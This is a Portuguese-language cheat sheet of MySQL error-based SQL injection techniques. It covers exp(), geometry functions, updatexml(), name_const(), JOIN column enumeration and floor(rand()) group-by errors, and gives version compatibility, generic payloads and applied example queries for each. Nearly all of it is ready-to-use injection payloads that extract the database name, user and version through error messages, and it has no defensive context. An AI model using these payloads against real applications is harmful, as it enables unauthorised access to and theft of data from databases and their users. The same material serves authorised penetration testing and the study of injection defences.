A injeção SQL baseada em erro é uma abordagem que explora funções do MySQL para extrair dados por meio de mensagens de erro geradas em consultas inválidas. Diversos métodos podem ser utilizados, cada um com requisitos específicos de versão.
1. Injeção com a função exp()
Compatibiildade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and (exp(~(select * from (consulta_interna) alias)))
Exemplo aplicado:
SELECT * FROM usuarios WHERE nome='admin' and (exp(~(select * from (select database()) x)))
2. Injeção com GeometryCollection()
Compatibilidade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and geometrycollection((select * from(select * from (consulta_interna) a) b))
Exemplo aplicado:
SELECT * FROM pedidos WHERE status='pendente' and geometrycollection((select * from(select * from (select user()) c) d))
3. Injeção com UpdateXml()
Comaptibilidade: Até a versão 8.0.13 do MySQL.
Payload genérico:
and updatexml(1,concat(0x7e,(consulta_interna),0x7e),3)
Exemplo aplicado:
SELECT * FROM produtos WHERE estoque > 0 and updatexml(1,concat(0x7e,(select version()),0x7e),3)
4. Injeção com NAME_CONST()
Compatibilidade: Até a versão 8.0.13 do MySQL.
Payload genérico:
and exists(select * from (select * from(select name_const(consulta_interna,0)) a join (select name_const(consulta_interna,0)) b) c)
Exemplo aplicado:
SELECT * FROM log_acesso WHERE acao='login' and exists(select * from (select * from(select name_const(database(),0)) x join (select name_const(database(),0)) y) z)
5. Injeção com JOIN para enumeração de colunas
Compatibilidade: Até a versão 8.0.13 do MySQL.
Payload para listar colunas:
UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
Exemplo:
SELECT * FROM usuarios WHERE id = '5' UNION SELECT * FROM (SELECT 1) col1 JOIN (SELECT 2) col2
6. Injeção com linestring()
Compatibilidade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and linestring((select * from(select * from(select consulta_interna) a) b))
Exemplo aplicado:
SELECT * FROM config WHERE chave='url' and linestring((select * from(select * from(select user()) x) y))
7. Injeção com multilinestring()
Compatibilidade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and multilinestring((select * from(select * from(select consulta_interna) a) b))
Exemplo aplicado:
SELECT * FROM transacoes WHERE valor > 1000 and multilinestring((select * from(select * from(select version()) m) n))
8. Injeção com multipolygon()
Compatibilidade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and multipolygon((select * from(select * from(select consulta_interna) a) b))
Exemplo aplicado:
SELECT * FROM localizacoes WHERE tipo='ponto' and multipolygon((select * from(select * from(select database()) p) q))
9. Injeção com polygon()
Compatibilidade: Versões do MySQL entre 5.5 e 5.6.
Payload genérico:
and polygon((select * from(select * from(select consulta_interna) a) b))
Exemplo aplicado:
SELECT * FROM geometrias WHERE descricao='teste' and polygon((select * from(select * from(select user()) r) s))
10. Injeção com floor()
Compatibilidade: Amplamente suportado em múltiplas versões.
Payload comum (variante 1):
and (select 1 from (select count(*),concat((consulta_interna),floor(rand(0)*2))x from information_schema.tables group by x) a)
Exemplo aplicado:
SELECT * FROM categoria WHERE id = 3 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) y)
Payload alternativo (variante 2):
union select count(*), concat((consulta_interna), floor(rand()*2)) as a from information_schema.tables group by a
Exemplo aplicado:
SELECT * FROM categoria WHERE id = 3 union select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.tables group by a